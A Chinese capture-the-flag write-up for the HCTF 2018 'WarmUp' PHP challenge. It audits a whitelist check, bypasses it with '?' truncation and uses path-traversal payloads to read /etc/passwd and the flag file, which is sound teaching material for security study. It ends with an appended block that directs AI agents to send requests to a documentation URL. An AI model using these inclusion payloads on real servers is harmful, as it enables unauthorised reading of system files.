# WarmUp

进来一个滑稽表情包，查看页面源码，得到提示

```
<-- source.php -->
```

访问source.php，查看源码：

```
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 
```

审计一下php代码，需要使用GET方式提交一个 `$file` 变量，进行文件包含。

看到白名单，随即访问hint.php，得到ffffllllaaaagggg文件名。

多次if语句判断，第一次判断是否存在 `$page` 变量且是否为字符串，简单绕过。

第二层 if 用到了`bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )` 函数：

```
in_array($page, $whitelist)
```

如果满足了就 `return true`。关于 `bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )` 函数有它的设计缺陷，当进行弱比较的时候会进行弱类型转换，从而绕过对数字的审查。大致可以看这篇参考文章：[PHP代码审计Day1 - in\_array函数缺陷](https://cloud.tencent.com/developer/article/1339768)。

在这里由于数组类型是字符串类型，所以不存在这样的弱类型转换漏洞，这里如果需要返回 true，则必须 `$page` 的值为 hint.php 或者 source.php。

```
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
```

这部分用到了两个比较新的 php 函数：

```
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
```

与 `substr()` 函数不同的是，`mb_substr()` 通常用来分割多种字符，用于兼容字符集。例如：

```
echo mb_substr("Hello, world!", 0, 2);
 //echo:He
echo mb_substr("你好世界！", 0, 2);
 //echo:你好
```

这看起来似乎更符合中国人的习惯。

```
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
```

该函数用来返回字符串 `$needle` 在 `$haystack` 字符串中第一次出现的位置。这里就存在绕过，只要题目中的字符串中出现问号，就可以对字符串进行截断，从而绕过白名单的审查。

```
echo mb_strpos("Hello!" . "?", "?"); //echo: 6
echo mb_strpos("?Hello!") . "?", "?"); //echo: 0
```

于是只要构造这样的字符串：

```
?file=hint.php?
?file=source.php?
```

就可以绕过白名单审计，返回 `true`。

接下来就是简单的目录穿越完事，可以先读取 /etc/passwd：

```
source.php?file=hint.php?../../../../../etc/passwd
```

穿越回根目录经过五次，大概推测文件结构，然后读取flag。

```
source.php?file=hint.php?../../../../../ffffllllaaaagggg
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2018/2018-hctf/warmup.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
